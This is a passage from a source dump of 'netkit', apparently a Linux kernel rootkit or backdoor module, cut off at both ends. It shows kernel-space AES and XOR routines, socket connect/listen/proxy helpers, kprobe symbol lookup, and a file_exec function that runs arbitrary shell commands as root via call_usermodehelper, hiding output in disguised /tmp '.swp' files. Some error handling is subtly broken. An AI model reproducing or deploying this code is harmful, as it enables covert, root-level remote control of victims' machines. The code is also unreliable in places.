req_1_buf[i]; 26 | } 27 | 28 | int xor_crypt(size_t req_buflen, const u8 *req_buf_1, const u8 *req_buf_2, u8 **res_buf, size_t *res_buflen) 29 | { 30 | *res_buflen = req_buflen; 31 | *res_buf = kzmalloc(*res_buflen, GFP_KERNEL); 32 | 33 | if (IS_ERR(*res_buf)) 34 | { 35 | *res_buf = NULL; 36 | *res_buflen = 0; 37 | 38 | return PTR_ERR(*res_buf); 39 | } 40 | 41 | do_xor_same_size(req_buflen, req_buf_1, req_buf_2, *res_buf); 42 | 43 | return 0; 44 | } 45 | 46 | static int pkcs_encode(size_t block_size, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 47 | { 48 | size_t padding_len = block_size - (in_buflen % block_size); 49 | if (padding_len == block_size) 50 | padding_len = 0; 51 | 52 | *out_buflen = in_buflen + padding_len; 53 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 54 | if (IS_ERR(*out_buf)) { 55 | *out_buf = NULL; 56 | *out_buflen = 0; 57 | return PTR_ERR(*out_buf); 58 | } 59 | 60 | memcpy(*out_buf, in_buf, in_buflen); 61 | memset(&(*out_buf)[in_buflen], padding_len, padding_len); 62 | 63 | return 0; 64 | } 65 | 66 | 67 | static int pkcs_decode(size_t block_size, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 68 | { 69 | size_t padding_len; 70 | 71 | padding_len = in_buf[(ssize_t)in_buflen - 1]; 72 | if (padding_len >= block_size || padding_len == 0) 73 | { 74 | // padding is not valid, so there is no padding 75 | padding_len = 0; 76 | goto LAB_DECODE; 77 | } 78 | 79 | // check for 0x01, 0x0202, 0x030303, etc. 80 | for (size_t i=0; i < padding_len; i++) 81 | { 82 | if (in_buf[in_buflen - i - 1] != padding_len) 83 | { 84 | // padding is not valid, so there is no padding 85 | padding_len = 0; 86 | goto LAB_DECODE; 87 | } 88 | } 89 | 90 | LAB_DECODE: 91 | *out_buflen = in_buflen - padding_len; 92 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 93 | if (IS_ERR(*out_buf)) { 94 | *out_buf = NULL; 95 | *out_buflen = 0; 96 | return PTR_ERR(*out_buf); 97 | } 98 | 99 | memcpy(*out_buf, in_buf, *out_buflen); 100 | 101 | return 0; 102 | } 103 | 104 | static int get_random_bytes_safe(u8 *bytes, size_t size) 105 | { 106 | if (wait_for_random_bytes() != 0) 107 | return -EIO; 108 | 109 | get_random_bytes(bytes, size); 110 | 111 | return 0; 112 | } 113 | 114 | /** 115 | * Encrypts AES-blocklen-CBC 116 | * 117 | * PKCS#5 or PKCS#7 Padding should be done in advance 118 | */ 119 | static int do_aes_cbc_encrypt(size_t block_size, const u8 *key, size_t keylen, const u8 *iv, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 120 | { 121 | struct crypto_aes_ctx ctx; 122 | int retv; 123 | 124 | // require multiple of 8 for optimization (this function assumes sizeof(long) == 8) 125 | if (block_size % 8 != 0) 126 | return -EINVAL; 127 | 128 | retv = aes_expandkey(&ctx, key, keylen); 129 | if (retv < 0) 130 | return retv; 131 | 132 | *out_buflen = in_buflen; 133 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 134 | if (IS_ERR(*out_buf)) 135 | { 136 | *out_buf = NULL; 137 | *out_buflen = 0; 138 | return PTR_ERR(*out_buf); 139 | } 140 | 141 | // skip IV 142 | for (size_t block_index = 0; block_index < in_buflen; block_index += block_size) { 143 | // xor prev ct block (or IV) with pt block to get intermediate value to encrypt 144 | if (block_index > 0) 145 | do_xor_same_size(block_size, &(*out_buf)[block_index - block_size], &in_buf[block_index], &(*out_buf)[block_index]); 146 | else 147 | do_xor_same_size(block_size, iv, &in_buf[block_index], &(*out_buf)[block_index]); 148 | 149 | aes_encrypt(&ctx, &(*out_buf)[block_index], &(*out_buf)[block_index]); 150 | } 151 | 152 | return 0; 153 | } 154 | 155 | /** 156 | * Decrypts AES-blocklen-CBC 157 | * 158 | * PKCS#5 or PKCS#7 Padding should be done in advance 159 | */ 160 | static int do_aes_cbc_decrypt(size_t block_size, const u8 *key, size_t keylen, const u8 *iv, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 161 | { 162 | struct crypto_aes_ctx ctx; 163 | int retv; 164 | 165 | // require multiple of 8 for optimization (this function assumes sizeof(long) == 8) 166 | if (block_size % 8 != 0 || in_buflen % block_size != 0) 167 | return -EINVAL; 168 | 169 | retv = aes_expandkey(&ctx, key, keylen); 170 | if (retv < 0) 171 | return retv; 172 | 173 | *out_buflen = in_buflen; 174 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 175 | if (IS_ERR(*out_buf)) 176 | { 177 | *out_buf = NULL; 178 | *out_buflen = 0; 179 | return PTR_ERR(*out_buf); 180 | } 181 | 182 | // skip IV 183 | for (size_t block_index = 0; block_index < in_buflen; block_index += block_size) { 184 | // decrypt ct (in) -> pt (out) 185 | aes_decrypt(&ctx, &(*out_buf)[block_index], &in_buf[block_index]); 186 | 187 | // xor prev ct block (or IV) with intermediate to get pt block 188 | if (block_index > 0) 189 | do_xor_same_size(block_size, &in_buf[block_index - block_size], &(*out_buf)[block_index], &(*out_buf)[block_index]); 190 | else 191 | do_xor_same_size(block_size, iv, &(*out_buf)[block_index], &(*out_buf)[block_index]); 192 | } 193 | 194 | return 0; 195 | } 196 | 197 | int aes256cbc_encrypt(const u8 *key, size_t keylen, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 198 | { 199 | u8 *buf_padded; 200 | size_t buf_padded_len; 201 | u8 *buf_encrypted; 202 | size_t buf_encrypted_len; 203 | u8 iv[AES_BLOCK_SIZE]; 204 | int retv; 205 | 206 | // add len parameters for security, since a developer may not know the proper size and cause memory bugs 207 | if (keylen != AES_KEYSIZE_256) 208 | { 209 | retv = -EINVAL; 210 | goto LAB_OUT_NO_PAD; 211 | } 212 | 213 | retv = get_random_bytes_safe(iv, AES_BLOCK_SIZE); 214 | if (retv < 0) 215 | goto LAB_OUT_NO_PAD; 216 | 217 | retv = pkcs_encode(AES_BLOCK_SIZE, in_buf, in_buflen, &buf_padded, &buf_padded_len); 218 | if (retv < 0) 219 | goto LAB_OUT_NO_PAD; 220 | 221 | retv = do_aes_cbc_encrypt(AES_BLOCK_SIZE, key, AES_KEYSIZE_256, iv, buf_padded, buf_padded_len, &buf_encrypted, &buf_encrypted_len); 222 | if (retv < 0) 223 | goto LAB_OUT_NO_ENCRYPT; 224 | 225 | *out_buflen = AES_BLOCK_SIZE + buf_encrypted_len; 226 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 227 | if (IS_ERR(*out_buf)) 228 | { 229 | retv = PTR_ERR(*out_buf); 230 | *out_buf = NULL; 231 | *out_buflen = 0; 232 | goto LAB_OUT; 233 | } 234 | 235 | memcpy(*out_buf, iv, AES_BLOCK_SIZE); 236 | memcpy(*out_buf + AES_BLOCK_SIZE, buf_encrypted, buf_encrypted_len); 237 | 238 | LAB_OUT: 239 | kzfree(buf_encrypted, buf_encrypted_len); 240 | LAB_OUT_NO_ENCRYPT: 241 | kzfree(buf_padded, buf_padded_len); 242 | LAB_OUT_NO_PAD: 243 | return retv; 244 | } 245 | 246 | int aes256cbc_decrypt(const u8 *key, size_t keylen, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 247 | { 248 | u8 *buf_decrypted; 249 | size_t buf_decrypted_len; 250 | u8 iv[AES_BLOCK_SIZE]; 251 | int retv; 252 | 253 | // add len parameters for security, since a developer may not know the proper size and cause memory bugs 254 | // there need to be atleast 2 blocks: iv + content 255 | if (keylen != AES_KEYSIZE_256 || in_buflen < AES_BLOCK_SIZE * 2) 256 | { 257 | retv = -EINVAL; 258 | goto LAB_OUT_NO_DECRYPT; 259 | } 260 | 261 | memcpy(iv, in_buf, AES_BLOCK_SIZE); 262 | 263 | retv = do_aes_cbc_decrypt(AES_BLOCK_SIZE, key, AES_KEYSIZE_256, iv, &in_buf[AES_BLOCK_SIZE], in_buflen - AES_BLOCK_SIZE, &buf_decrypted, &buf_decrypted_len); 264 | if (retv < 0) 265 | goto LAB_OUT_NO_DECRYPT; 266 | 267 | retv = pkcs_decode(AES_BLOCK_SIZE, buf_decrypted, buf_decrypted_len, out_buf, out_buflen); 268 | if (retv < 0) 269 | goto LAB_OUT; 270 | LAB_OUT: 271 | kzfree(buf_decrypted, buf_decrypted_len); 272 | LAB_OUT_NO_DECRYPT: 273 | return retv; 274 | } 275 | 276 | int hex_decode(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 277 | { 278 | int retv; 279 | 280 | if (req_buflen == 0 || req_buflen % 2 != 0) 281 | return -EINVAL; 282 | 283 | *res_buflen = req_buflen / 2; 284 | *res_buf = kzmalloc(*res_buflen, GFP_KERNEL); 285 | if (IS_ERR(*res_buf)) 286 | { 287 | retv = PTR_ERR(*res_buf); 288 | *res_buflen = 0; 289 | *res_buf = NULL; 290 | return retv; 291 | } 292 | 293 | for (size_t i = 0; i < *res_buflen; i++) 294 | { 295 | if (sscanf(&req_buf[i*2], "%02hhx", &(*res_buf)[i]) != 1) 296 | { 297 | kzfree(*res_buf, *res_buflen); 298 | *res_buf = NULL; 299 | *res_buflen = 0; 300 | return -EPROTO; 301 | } 302 | } 303 | 304 | return 0; 305 | } 306 | 307 | int hex_encode(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 308 | { 309 | char tmp_buf[3]; 310 | int retv; 311 | 312 | if (req_buflen == 0) 313 | return -EINVAL; 314 | 315 | *res_buflen = req_buflen * 2; 316 | *res_buf = kzmalloc(*res_buflen, GFP_KERNEL); 317 | if (IS_ERR(*res_buf)) 318 | { 319 | retv = PTR_ERR(*res_buf); 320 | *res_buflen = 0; 321 | *res_buf = NULL; 322 | return retv; 323 | } 324 | 325 | for (size_t i = 0; i < req_buflen; i++) 326 | { 327 | if (snprintf(tmp_buf, 3, "%02hhx", req_buf[i]) != 2) 328 | { 329 | kzfree(*res_buf, *res_buflen); 330 | *res_buf = NULL; 331 | *res_buflen = 0; 332 | return -EPROTO; 333 | } 334 | 335 | memcpy(&(*res_buf)[i*2], tmp_buf, 2); 336 | } 337 | 338 | return 0; 339 | } -------------------------------------------------------------------------------- /src/sys/crypto.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__CRYPTO_H 2 | #define SYS__CRYPTO_H 3 | 4 | #define IS_HEX(val) ((val >= 48 && val <= 57) || (val >= 97 && val <= 102)) 5 | 6 | void xor_crypt_diff_size(const u8 *req_buf, size_t req_buflen, const u8 *key_buf, size_t key_buflen, u8 *out_buf); 7 | int xor_crypt(size_t req_buflen, const u8 *req_buf_1, const u8 *req_buf_2, u8 **res_buf, size_t *res_buflen); 8 | int aes256cbc_encrypt(const u8 *key, size_t keylen, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen); 9 | int aes256cbc_decrypt(const u8 *key, size_t keylen, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen); 10 | int hex_encode(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 11 | int hex_decode(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 12 | 13 | #endif -------------------------------------------------------------------------------- /src/sys/debug.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__DEBUG_H 2 | #define SYS__DEBUG_H 3 | 4 | #include 5 | #include 6 | 7 | #include "../netkit.h" 8 | #include "../sys/symbol.h" 9 | 10 | #if CONFIG_NETKIT_DEBUG 11 | #define NETKIT_LOG(fmt, ...) pr_err(fmt, ##__VA_ARGS__) 12 | #else 13 | #define NETKIT_LOG(fmt, ...) 14 | #endif 15 | 16 | #include "../sys/mem.h" 17 | 18 | // pray that the compiler will optimize this when debug disabled 19 | #define NETKIT_FUNC_CALL(func, ...) ({ \ 20 | int retv; \ 21 | char *sym_buf; \ 22 | size_t sym_buflen; \ 23 | \ 24 | sym_lookup_name((unsigned long)func, &sym_buf, &sym_buflen); \ 25 | \ 26 | NETKIT_LOG("[*] calling: '%s'\n", sym_buf); \ 27 | retv = func( __VA_ARGS__ ); \ 28 | NETKIT_LOG("[*] returned: '%s', retv: %d\n", sym_buf, retv); \ 29 | \ 30 | kzfree(sym_buf, sym_buflen); \ 31 | \ 32 | retv; \ 33 | }) 34 | 35 | #define NETKIT_PIPELINE_CALL(func, req_buf, req_buflen, res_buf, res_buflen) ({ \ 36 | int retv; \ 37 | char *sym_buf; \ 38 | size_t sym_buflen; \ 39 | \ 40 | sym_lookup_name((unsigned long)func, &sym_buf, &sym_buflen); \ 41 | \ 42 | NETKIT_LOG("[*] calling: '%s', req_buflen: %lu\n", sym_buf, req_buflen); \ 43 | retv = func(req_buf, req_buflen, res_buf, res_buflen); \ 44 | NETKIT_LOG("[*] returned: '%s', res_buflen: %lu, retv: %d\n", sym_buf, *res_buflen, retv); \ 45 | \ 46 | kzfree(sym_buf, sym_buflen); \ 47 | \ 48 | retv; \ 49 | }) 50 | 51 | #define NETKIT_PIPELINE_CALL_ERR(func, retv_, res_buf, res_buflen) ({ \ 52 | int retv; \ 53 | char *sym_buf; \ 54 | size_t sym_buflen; \ 55 | \ 56 | sym_lookup_name((unsigned long)func, &sym_buf, &sym_buflen); \ 57 | \ 58 | NETKIT_LOG("[*] calling: '%s', retv: %d\n", sym_buf, retv_); \ 59 | retv = func(retv_, res_buf, res_buflen); \ 60 | NETKIT_LOG("[*] returned: '%s', res_buflen: %lu, retv: %d\n", sym_buf, *res_buflen, retv); \ 61 | \ 62 | kzfree(sym_buf, sym_buflen); \ 63 | \ 64 | retv; \ 65 | }) 66 | 67 | #endif -------------------------------------------------------------------------------- /src/sys/file.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "file.h" 8 | 9 | #include "mem.h" 10 | #include "debug.h" 11 | 12 | int file_read(const char* filename, u8 **out_buf, size_t *out_buflen) 13 | { 14 | struct file *file; 15 | char *tmp_buf; 16 | int retv; 17 | 18 | NETKIT_LOG("[*] reading file '%s'...\n", filename); 19 | file = filp_open(filename, O_RDONLY | (force_o_largefile() ? O_LARGEFILE : 0), 0); 20 | if (IS_ERR(file)) 21 | { 22 | NETKIT_LOG("[!] failed to open file\n"); 23 | retv = PTR_ERR(file); 24 | goto LAB_OUT_NO_FILP; 25 | } 26 | 27 | tmp_buf = kzmalloc(4096, GFP_KERNEL); 28 | if (IS_ERR(tmp_buf)) 29 | { 30 | retv = PTR_ERR(tmp_buf); 31 | goto LAB_OUT_NO_TMPBUF; 32 | } 33 | 34 | retv = kernel_read(file, tmp_buf, 4096, NULL); 35 | if (retv < 0) 36 | { 37 | NETKIT_LOG("[!] failed to read file\n"); 38 | goto LAB_OUT; 39 | } 40 | 41 | *out_buflen = retv; 42 | *out_buf = kzmalloc(*out_buflen, GFP_KERNEL); 43 | if (IS_ERR(*out_buf)) 44 | { 45 | retv = PTR_ERR(*out_buf); 46 | *out_buf = NULL; 47 | *out_buflen = 0; 48 | 49 | goto LAB_OUT; 50 | } 51 | 52 | memcpy(*out_buf, tmp_buf, *out_buflen); 53 | 54 | while (retv == 4096) 55 | { 56 | retv = kernel_read(file, tmp_buf, 4096, (loff_t *)out_buflen); 57 | if (retv < 0) 58 | { 59 | NETKIT_LOG("[!] failed to read bytes\n"); 60 | kzfree(*out_buf, *out_buflen); 61 | *out_buf = NULL; 62 | *out_buflen = 0; 63 | goto LAB_OUT; 64 | } 65 | 66 | *out_buf = kzrealloc(*out_buf, *out_buflen, *out_buflen + retv); 67 | if (IS_ERR(*out_buf)) 68 | { 69 | NETKIT_LOG("[!] failed to realloc\n"); 70 | retv = PTR_ERR(*out_buf); 71 | kzfree(*out_buf, *out_buflen); 72 | *out_buf = NULL; 73 | *out_buflen = 0; 74 | 75 | goto LAB_OUT; 76 | } 77 | 78 | memcpy(*out_buf + *out_buflen, tmp_buf, retv); 79 | *out_buflen += retv; 80 | } 81 | 82 | NETKIT_LOG("[*] read %lu bytes...\n", *out_buflen); 83 | 84 | LAB_OUT: 85 | kzfree(tmp_buf, 4096); 86 | LAB_OUT_NO_TMPBUF: 87 | filp_close(file, NULL); 88 | LAB_OUT_NO_FILP: 89 | 90 | if (retv >= 0) 91 | return 0; 92 | 93 | return retv; 94 | } 95 | 96 | int file_write(const char *filename, const u8 *content, size_t content_len) 97 | { 98 | struct file *file; 99 | int retv; 100 | 101 | file = filp_open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0); 102 | if (IS_ERR(file)) 103 | { 104 | NETKIT_LOG("[!] failed to open file\n"); 105 | return PTR_ERR(file); 106 | } 107 | 108 | NETKIT_LOG("[*] writing to '%s' size: %ld\n", filename, content_len); 109 | retv = kernel_write(file, content, content_len, 0); 110 | filp_close(file, NULL); 111 | if (retv < 0) 112 | { 113 | NETKIT_LOG("[!] failed to write to file\n"); 114 | return retv; 115 | } 116 | 117 | return retv; 118 | } 119 | 120 | int file_exec(const char *cmd, u8 **out_buf, size_t *out_buflen) 121 | { 122 | #define SHELL_PATH "/bin/bash" 123 | #define STDOUT_FILE "/tmp/fb0.swp" 124 | #define STDERR_FILE "/tmp/fb1.swp" 125 | #define BASH_POSTFIX " 1>" STDOUT_FILE " 2>" STDERR_FILE 126 | 127 | char* envp[] = {"HOME=/", "PWD=/", "TERM=linux", "USER=root", "SHELL=" SHELL_PATH, "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; 128 | char* argv[] = {SHELL_PATH, "-c", NULL, NULL}; 129 | size_t bash_cmd_len; 130 | int cmd_retv; 131 | u8 *stdout_buf = NULL; 132 | size_t stdout_buflen = 0; 133 | u8 *stderr_buf = NULL; 134 | size_t stderr_buflen = 0; 135 | int retv; 136 | 137 | bash_cmd_len = strlen(cmd) + strlen(BASH_POSTFIX) + 1; 138 | 139 | argv[2] = kzmalloc(bash_cmd_len, GFP_KERNEL); 140 | if (IS_ERR(argv[2])) 141 | return PTR_ERR(argv[2]); 142 | 143 | snprintf(argv[2], bash_cmd_len, "%s%s", cmd, BASH_POSTFIX); 144 | 145 | NETKIT_LOG("[*] executing: \"%s %s '%s'\"\n", argv[0], argv[1], argv[2]); 146 | cmd_retv = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC); 147 | 148 | kzfree(argv[2], bash_cmd_len); 149 | 150 | if (cmd_retv != 0) 151 | return -cmd_retv; 152 | 153 | file_read(STDOUT_FILE, &stdout_buf, &stdout_buflen); 154 | file_read(STDERR_FILE, &stderr_buf, &stderr_buflen); 155 | 156 | if (stdout_buf && stderr_buf) 157 | { 158 | *out_buf = kzmalloc(stdout_buflen + stderr_buflen, GFP_KERNEL); 159 | if (IS_ERR(*out_buf)) 160 | { 161 | retv = PTR_ERR(*out_buf); 162 | *out_buf = NULL; 163 | return retv; 164 | } 165 | 166 | *out_buflen = stdout_buflen + stderr_buflen; 167 | 168 | NETKIT_LOG("[*] file exec output buf: %px...\n", *out_buf); 169 | memcpy(*out_buf, stdout_buf, stdout_buflen); 170 | memcpy(&(*out_buf)[stdout_buflen], stderr_buf, stderr_buflen); 171 | 172 | NETKIT_LOG("[*] freeing buffers...\n"); 173 | kzfree(stdout_buf, stdout_buflen); 174 | kzfree(stderr_buf, stderr_buflen); 175 | NETKIT_LOG("[*] done freeing buffers...\n"); 176 | } else if (stdout_buf) { 177 | *out_buf = stdout_buf; 178 | *out_buflen = stdout_buflen; 179 | } else if (stderr_buf) { 180 | *out_buf = stderr_buf; 181 | *out_buflen = stderr_buflen; 182 | } 183 | 184 | return 0; 185 | } -------------------------------------------------------------------------------- /src/sys/file.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__FILE_H 2 | #define SYS__FILE_H 3 | 4 | #include 5 | 6 | int file_read(const char *filename, u8 **out_buf, size_t *out_buflen); 7 | int file_write(const char *filename, const u8 *content, size_t content_len); 8 | int file_exec(const char *cmd, u8 **out_buf, size_t *out_buflen); 9 | 10 | #endif -------------------------------------------------------------------------------- /src/sys/lock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | // wait for all conns to finish 9 | static struct kref workers_ref; 10 | DECLARE_WAIT_QUEUE_HEAD(workers_wait_queue); 11 | 12 | void netkit_workers_decr(void) 13 | { 14 | // kref_sub without release() 15 | atomic_sub(1, (atomic_t *)&workers_ref.refcount); 16 | wake_up(&workers_wait_queue); 17 | } 18 | 19 | void netkit_workers_incr(void) 20 | { 21 | kref_get(&workers_ref); 22 | } 23 | 24 | void netkit_workers_wait(void) 25 | { 26 | wait_event(workers_wait_queue, kref_read(&workers_ref) == 1); 27 | } 28 | 29 | void netkit_workers_init(void) 30 | { 31 | kref_init(&workers_ref); 32 | } -------------------------------------------------------------------------------- /src/sys/lock.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__LOCK_H 2 | #define SYS__LOCK_H 3 | 4 | void netkit_workers_decr(void); 5 | void netkit_workers_incr(void); 6 | void netkit_workers_wait(void); 7 | void netkit_workers_init(void); 8 | 9 | #endif -------------------------------------------------------------------------------- /src/sys/mem.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | 6 | #include "mem.h" 7 | 8 | void *_do_kzmalloc(size_t size, int flags) 9 | { 10 | void *buf; 11 | 12 | buf = kcalloc(1, size, flags); 13 | if (buf == NULL) 14 | return ERR_PTR(-ENOMEM); 15 | 16 | return buf; 17 | } 18 | 19 | void _do_kzfree(void* buf, size_t size) 20 | { 21 | memset(buf, '\x00', size); 22 | kfree(buf); 23 | } 24 | 25 | // don't do checks as macro, since kzrealloc will never be used with hardcoded values 26 | void *kzrealloc(void* buf_old, size_t size_old, size_t size_new) 27 | { 28 | void *buf_new; 29 | 30 | if (buf_old == NULL || size_old > size_new || size_new == 0) 31 | return ERR_PTR(-EINVAL); 32 | 33 | if (size_old == size_new) 34 | return buf_old; 35 | 36 | // size is already validated 37 | buf_new = _do_kzmalloc(size_new, GFP_KERNEL); 38 | if (IS_ERR(buf_new)) 39 | return buf_new; 40 | 41 | memcpy(buf_new, buf_old, size_old); 42 | 43 | // buf is already validated 44 | _do_kzfree(buf_old, size_old); 45 | 46 | return buf_new; 47 | } -------------------------------------------------------------------------------- /src/sys/mem.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__MEM_H 2 | #define SYS__MEM_H 3 | 4 | #include 5 | #include 6 | 7 | #include "debug.h" 8 | 9 | void *_do_kzmalloc(size_t size, int flags); 10 | void _do_kzfree(void* buf, size_t size); 11 | void *kzrealloc(void* buf_old, size_t size_old, size_t size_new); 12 | 13 | static inline void *kzmalloc(size_t size, int flags) 14 | { 15 | if (unlikely(size == 0)) 16 | return ERR_PTR(-EINVAL); 17 | 18 | return _do_kzmalloc(size, flags); 19 | } 20 | 21 | static inline void kzfree(void* buf, size_t size) 22 | { 23 | if (unlikely(size == 0 || buf == NULL)) 24 | { 25 | NETKIT_LOG("[-] tried to free size: %lu, buf: %px\n", size, buf); 26 | return; 27 | } 28 | 29 | _do_kzfree(buf, size); 30 | } 31 | 32 | #endif -------------------------------------------------------------------------------- /src/sys/socket.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "socket.h" 8 | 9 | #include "mem.h" 10 | #include "debug.h" 11 | 12 | __be32 inet_addr(const char *str) 13 | { 14 | int a, b, c, d; 15 | char buf[4]; 16 | 17 | sscanf(str,"%d.%d.%d.%d",&a,&b,&c,&d); 18 | buf[0] = a; buf[1] = b; buf[2] = c; buf[3] = d; 19 | 20 | return *(__be32*)buf; 21 | } 22 | 23 | int socket_create(__be32 ip, __be16 port, struct socket **out_sk, struct sockaddr_in **out_addr) 24 | { 25 | int err = 0; 26 | 27 | NETKIT_LOG("[*] creating socket for ip: 0x%08x, port: 0x%04x\n", ip, port); 28 | 29 | err = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, out_sk); 30 | if (err != 0) { 31 | NETKIT_LOG("[!] failed to create socket: %d\n", err); 32 | return err; 33 | } 34 | 35 | *out_addr = kzmalloc(sizeof(**out_addr), GFP_KERNEL); 36 | if (IS_ERR(*out_addr)) 37 | { 38 | sock_release(*out_sk); 39 | *out_sk = NULL; 40 | err = PTR_ERR(*out_addr); 41 | *out_addr = NULL; 42 | 43 | return err; 44 | } 45 | 46 | (*out_addr)->sin_family = AF_INET; 47 | (*out_addr)->sin_addr.s_addr = ip; 48 | (*out_addr)->sin_port = port; 49 | 50 | return 0; 51 | } 52 | 53 | inline int socket_connect(struct socket *sk, struct sockaddr_in *addr) 54 | { 55 | NETKIT_LOG("[*] attempting to connect to proxy...\n"); 56 | return kernel_connect(sk, (struct sockaddr*)addr, sizeof(*addr), 0); 57 | } 58 | 59 | int socket_listen(struct socket *sk, struct sockaddr_in *addr) 60 | { 61 | int retv; 62 | 63 | retv = kernel_bind(sk, (struct sockaddr *)addr, sizeof(*addr)); 64 | kzfree(addr, sizeof(*addr)); 65 | if (retv < 0) 66 | { 67 | NETKIT_LOG("[!] failed to bind socket: %d\n", retv); 68 | goto LAB_OUT; 69 | } 70 | 71 | retv = sk->ops->listen(sk, 10); 72 | if (retv < 0) 73 | { 74 | NETKIT_LOG("[!] failed to listen on socket (err: %d)\n", retv); 75 | goto LAB_OUT; 76 | } 77 | 78 | LAB_OUT: 79 | return retv; 80 | } 81 | 82 | int socket_read(struct socket *sk, u8 **out_buf, size_t *out_buflen) 83 | { 84 | struct msghdr msg; 85 | struct kvec vec; 86 | size_t count; 87 | u8 *tmp_buf; 88 | const size_t TMP_BUFLEN = 4096; 89 | int retv; 90 | 91 | tmp_buf = kzmalloc(TMP_BUFLEN, GFP_KERNEL); 92 | if (IS_ERR(tmp_buf)) 93 | return PTR_ERR(tmp_buf); 94 | 95 | memset(&msg, '\x00', sizeof(msg)); 96 | vec.iov_base = tmp_buf; 97 | vec.iov_len = TMP_BUFLEN; 98 | 99 | count = kernel_recvmsg(sk, &msg, &vec, 1, TMP_BUFLEN, 0); 100 | NETKIT_LOG("[*] read %lu bytes from socket\n", count); 101 | if (count < 0) 102 | { 103 | retv = count; 104 | goto LAB_ERR; 105 | } 106 | 107 | *out_buf = kzmalloc(count, GFP_KERNEL); 108 | if (IS_ERR(*out_buf)) 109 | { 110 | *out_buf = NULL; 111 | retv = PTR_ERR(*out_buf); 112 | goto LAB_ERR; 113 | } 114 | 115 | *out_buflen = count; 116 | 117 | // count <= tmp_buflen always 118 | memcpy(*out_buf, tmp_buf, *out_buflen); 119 | 120 | LAB_ERR: 121 | kzfree(tmp_buf, TMP_BUFLEN); 122 | 123 | return retv; 124 | } 125 | 126 | int socket_write(struct socket *sk, const u8 *content, size_t content_len) 127 | { 128 | struct msghdr msg; 129 | struct kvec vec = { 130 | .iov_len = content_len 131 | }; 132 | int count; 133 | 134 | memset(&msg, '\x00', sizeof(msg)); 135 | 136 | // cheat on const qualifier 137 | vec.iov_base = kzmalloc(content_len, GFP_KERNEL); 138 | if (IS_ERR(vec.iov_base)) 139 | return PTR_ERR(vec.iov_base); 140 | 141 | memcpy(vec.iov_base, content, content_len); 142 | 143 | count = kernel_sendmsg(sk, &msg, &vec, 1, content_len); 144 | NETKIT_LOG("[+] wrote %u bytes to socket\n", count); 145 | 146 | kzfree(vec.iov_base, content_len); 147 | 148 | return count; 149 | } 150 | 151 | int socket_proxy(__be32 ip, __be16 port, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen) 152 | { 153 | static struct socket *sock; 154 | struct sockaddr_in *addr; 155 | int retv = 0; 156 | 157 | retv = socket_create(ip, port, &sock, &addr); 158 | if (retv < 0) 159 | goto LAB_OUT_NO_SOCK; 160 | 161 | retv = socket_connect(sock, addr); 162 | if (retv < 0) 163 | goto LAB_OUT; 164 | 165 | retv = socket_write(sock, in_buf, in_buflen); 166 | if (retv < 0) 167 | goto LAB_OUT; 168 | 169 | retv = socket_read(sock, out_buf, out_buflen); 170 | if (retv < 0) 171 | goto LAB_OUT; 172 | 173 | LAB_OUT: 174 | sock_release(sock); 175 | kzfree(addr, sizeof(*addr)); 176 | LAB_OUT_NO_SOCK: 177 | return retv; 178 | } -------------------------------------------------------------------------------- /src/sys/socket.h: -------------------------------------------------------------------------------- 1 | #ifndef SYS__SOCKET_H 2 | #define SYS__SOCKET_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | __be32 inet_addr(const char *str); 9 | int socket_create(__be32 ip, __be16 port_htons, struct socket **sk_out, struct sockaddr_in **addr_out); 10 | int socket_connect(struct socket *sk, struct sockaddr_in *addr); 11 | int socket_listen(struct socket *sk, struct sockaddr_in *addr); 12 | int socket_read(struct socket *sk, u8 **res_buf, size_t *res_buflen); 13 | int socket_write(struct socket *sk, const u8 *content, size_t content_len); 14 | int socket_proxy(__be32 ip, __be16 port, const u8 *in_buf, size_t in_buflen, u8 **out_buf, size_t *out_buflen); 15 | 16 | #endif -------------------------------------------------------------------------------- /src/sys/symbol.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define KPROBE_LOOKUP 1 6 | #include 7 | 8 | #include "symbol.h" 9 | 10 | #include "file.h" 11 | #include "../sys/mem.h" 12 | #include "../sys/debug.h" 13 | 14 | static void *sym_lookup_probes(const char* sym_name) 15 | { 16 | struct kprobe kp = { 17 | .symbol_name = sym_name, 18 | }; 19 | void *retv; 20 | 21 | retv = ERR_PTR(register_kprobe(&kp)); 22 | if (IS_ERR(retv)) 23 | return retv; 24 | 25 | NETKIT_LOG("[*] kprobe lookup '%s': %px\n", sym_name, 